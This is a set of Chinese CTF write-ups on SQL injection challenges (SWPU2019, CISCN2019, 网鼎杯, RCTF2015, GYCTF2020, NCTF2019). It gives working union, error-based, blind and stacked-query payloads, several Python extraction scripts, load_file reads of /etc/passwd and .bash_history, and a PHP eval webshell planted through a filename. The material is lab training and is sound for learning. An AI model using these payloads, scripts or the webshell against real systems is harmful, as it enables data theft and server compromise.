SQL注入
[SWPU2019]Web1
二次注入,注入点id藏得挺好。
过滤了空格,可以用/**/绕过,过滤了注释符可以直接闭合。
过滤了or,查表和列时可以用mysql.innodb_table_stats代替information_schema
payload:
-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
然后进行无列名注入:
select b from (select 1,2,3 as b,4,5 union select * from users)a;
末尾的 a 可以是任意字符,用于命名。
最后的payload:
-1'union/**/select/**/1,(select/**/group_concat(b)/**/from(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select*from/**/users)x),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
[CISCN2019 总决赛 Day2 Web1]Easyweb
扫一下找到源码,尝试绕过。
传入\\0,第一个\会被识别为转义符,会转义变成\\0,再被addslashes处理成为\0,最后被替换为空变成\ 转义了后面的id后面的(\')
payload:
?id=\\0&path=or if(length(database())>1,1,-1)%23
上脚本
import time
import requests
import sys
import string
import logging
# LOG_FORMAT = "%(lineno)d - %(asctime)s - %(levelname)s - %(message)s"
# logging.basicConfig(level=logging.DEBUG, format=LOG_FORMAT)
target="url/image.php?id=\\0'&path=or "
#库名
#dataStr="(database())"
#表名
#dataStr="(select(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())"
#列名
dataStr="(select(group_concat(column_name))from(information_schema.columns)where(table_name)=0x7573657273)"
#数据
#dataStr="(select(group_concat(username,password))from(users))"
def binaryTest(i,cu,comparer):
payloads='ascii(substr({},{},1)){comparer}{}%23'
s=requests.get(target+payloads.format(dataStr,i,cu,comparer=comparer))
if 'JFIF' in s.text:
return True
else:
return False
def searchFriends_sqli(i):
l = 0
r = 255
while (l <= r):
cu = (l + r) // 2
if (binaryTest(i, cu, "<")):
r = cu - 1
elif (binaryTest(i, cu, ">")):
l = cu + 1
elif (cu == 0):
return None
else:
return chr(cu)
def main():
print("start")
finres=""
i=1
while (True):
extracted_char = searchFriends_sqli(i)
if (extracted_char == None):
break
finres += extracted_char
i += 1
print("(+) 当前结果:"+finres)
print("(+) 运行完成,结果为:", finres)
if __name__=="__main__":
main()
单引号被ban的时候查表名列名用十六进制绕过。
登进去后要传马,php被ban,这里用phtml,
发现文件名出现在log中,可以直接把马写在文件名里:
filename=<?= @eval($_POST[hack]);?>
蚁剑连一下就ok了。
[CISCN2019 华北赛区 Day1 Web5]CyberPunk
先用伪协议读一下源码。
发现address没有经过正则过滤只是处理了单引号,
但可以直接查看,这就形成了二次注入。
可以直接用报错注入带出来flag:
' and updatexml(1,concat(1,(select substr(load_file('/flag.txt'),1,32)),1),1)#
substr分段截取即可。
[网鼎杯 2018]Comment
密码隐藏后三位,可以直接爆破。
存在/.git,但是有残缺需要恢复(这种事不应该扔给misc来搞吗)
先查一下之前的版本:
git log --all
然后
git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c
把指针指到最初提交的版本,
得到源码。
审计发现存入category数据库时有addslashes()处理,但是直接拿出来的,这就造成了二次注入的可能。
payload:
a',content=(select (load_file('/etc/passwd'))),/*
a',content=(select (load_file('/home/www/.bash_history'))),/*
a', content=(select hex(load_file('/tmp/html/.DS_Store'))),/*
[RCTF2015]EasySQL
有修改密码功能,把username取出来的时候存在二次注入,因为有报错的回显,这里采用报错注入。
payload:
a"||(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#
输出有长度限制,可以先用正则匹配一下我们想看的字段
a"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#
长度还是不够,就用resever逆序输出一下
a"||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('f'))),1))#
最后拼接即可。
[GYCTF2020]Ezsqli
or被过滤,这里用的sys.schema_table_statistics_with_buffer库来绕过。
参考链接
join被过滤,这里用一种新的无列名注入方式
(select 'admin','admin')>(select * from users limit 1)
其原理是MySQL在比较两个select字符串时是按位比的,所以这里用两个select语句进行比较
用Y1ng师傅的payload:
'''
Author: 颖奇L'Amore
Blog: www.gem-love.com
本文链接: https://www.gem-love.com/ctf/1669.html
'''
import requests
url = 'http://fd871d2e-cc2a-4f0b-878d-385ed4d11981.node3.buuoj.cn/'
def trans(flag):
res = ''
for i in flag:
res += hex(ord(i))
res = '0x' + res.replace('0x','')
return res
flag = ''
for i in range(1,500): #这循环一定要大 不然flag长的话跑不完
hexchar = ''
for char in range(32, 126):
hexchar = trans(flag+ chr(char))
payload = '2||((select 1,{})>(select * from f1ag_1s_h3r3_hhhhh))'.format(hexchar)
data = {
'id':payload
}
r = requests.post(url=url, data=data)
text = r.text
if 'Nu1L' in r.text:
flag += chr(char-1)
print(flag)
break
[NCTF2019]SQLi
给了SQL语句,单引号被过滤,用\转义第一个单引号,最后的用%00截断。
or也被过滤,知道的列名可以直接用regexp逐字符匹配。
payload:
username=\&passwd=||/**/passwd/**/regexp/**/"^a";%00
最后的脚本(来自Arnoldqqq):
import string
import requests
from urllib import parse
passwd = ''
string= string.ascii_lowercase + string.digits + '_'
url = 'http://15f12b34-dce6-486a-8fce-2bb86508c417.node3.buuoj.cn/index.php'
for n in range(100):
for m in string:
data = {
"username":"\\",
"passwd":"||/**/passwd/**/regexp/**/\"^{}\";{}".format((passwd+m),parse.unquote('%00'))
}
res = requests.post(url,data=data)
if 'welcome' in res.text:
passwd += m
print(m)
break
if m=='_' and 'welcome' not in res.text:
break
print(passwd)
[网鼎杯2018]Unfinish
不知道为什么网上都用的double hex绕过,直接ascii不行吗。。。
记录一下:
'0' + hex(database()) + '0' 会因为16进制强制转化为字符型产生截断
'0' + hex(hex(database())) + '0 ' 确保hex后都是数字,但是字符串长度过长变成科学计数法导致数据丢失
'0' + substr(hex(hex(database())),1,10) + '0' 每次用substr截取10个字符进行相加
'0' + substr(hex(hex(database())) from 1 for 10) + '0' 过滤了逗号用from for绕过
需要爬虫爬一下回显的16进制数字然后恢复,payload来自于zhengna师傅
import requests
import time
from bs4 import BeautifulSoup #html解析器
def getDatabase():
database = ''
for i in range(10):
data_database = {
'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
'password':'admin',
"email":"admin11@admin.com"+str(i)
}
#注册
requests.post("http://220.249.52.133:36774/register.php",data_database)
login_data={
'password':'admin',
"email":"admin11@admin.com"+str(i)
}
response=requests.post("http://220.249.52.133:36774/login.php",login_data)
html=response.text #返回的页面
soup=BeautifulSoup(html,'html.parser')
getUsername=soup.find_all('span')[0]#获取用户名
username=getUsername.text
if int(username)==0:
break
database+=chr(int(username))
return database
def getFlag():
flag = ''
for i in range(40):
data_flag = {
'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
'password':'admin',
"email":"admin32@admin.com"+str(i)
}
#注册
requests.post("http://220.249.52.133:36774/register.php",data_flag)
login_data={
'password':'admin',
"email":"admin32@admin.com"+str(i)
}
response=requests.post("http://220.249.52.133:36774/login.php",login_data)
html=response.text #返回的页面
soup=BeautifulSoup(html,'html.parser')
getUsername=soup.find_all('span')[0]#获取用户名
username=getUsername.text
if int(username)==0:
break
flag+=chr(int(username))
return flag
print(getDatabase())
print(getFlag())
[SWPU2019]Web4
开局登录框,没有源码,大概是要注入了。
注入单引号返回500,但加分号能返回200,可能存在堆叠注入。
关于PDO的预编译:
PDO分为模拟预处理和非模拟预处理。
模拟预处理是防止某些数据库不支持预处理而设置的,在初始化PDO驱动时,可以设置一项参数,PDO::ATTR_EMULATE_PREPARES,作用是打开模拟预处理(true)或者关闭(false),默认为true。PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行。
非模拟预处理则是通过数据库服务器来进行预处理动作,主要分为两步:第一步是prepare阶段,发送SQL语句模板到数据库服务器;第二步通过execute()函数发送占位符参数给数据库服务器进行执行。
如果说开启了模拟预处理,那么PDO内部会模拟参数绑定的过程,SQL语句是在最后execute()的时候才发送给数据库执行;如果我这里设置了PDO::ATTR_EMULATE_PREPARES => false,那么PDO不会模拟预处理,参数化绑定的整个过程都是和Mysql交互进行的。
在模拟预处理情况下可能存在堆叠注入和报错注入,
在非模拟预处理情况下可能存在报错注入。参考文献
题目过滤了select,可以用预编译绕过,思路有两种:
1.参考强网杯的随便注,使用CONCAT实现字符串拼接。
2.本题直接用十六进制绕过了(十六进制yyds)。
payload:
#author: c1e4r
import requests
import json
import time
def main():
#题目地址
url = '''http://568215bc-57ff-4663-a8d9-808ecfb00f7f.node3.buuoj.cn/index.php?r=Login/Login'''
#注入payload
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest-- -"
flag = ''
for i in range(1,30):
#查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0,128):
#将构造好的payload进行16进制转码和json转码
datas = {'username':payloads.format(str_to_hex(payload.format(i,j))),'password':'test213'}
data = json.dumps(datas)
times = time.time()
res = requests.post(url = url, data = data)
if time.time() - times >= 3:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
爆出来源码的文件名glzjin_wants_a_girl_friend.zip
打开之后是一个MVC,在BaseController中发现变量覆盖漏洞。
public function loadView($viewName ='', $viewData = [])
{
$this->viewPath = BASE_PATH . "/View/{$viewName}.php";
if(file_exists($this->viewPath))
{
extract($viewData);
include $this->viewPath;
}
}
又找到一个viewData可控的位置
/Controller/UserController.php
public function actionIndex()
{
$listData = $_REQUEST;
$this->loadView('userIndex',$listData);
}
UserController对应控制的是user中的文件,在/View/userIndex.php中发现文件读取。
payload:
index.php?r=User/Index&img_file=/…/flag.php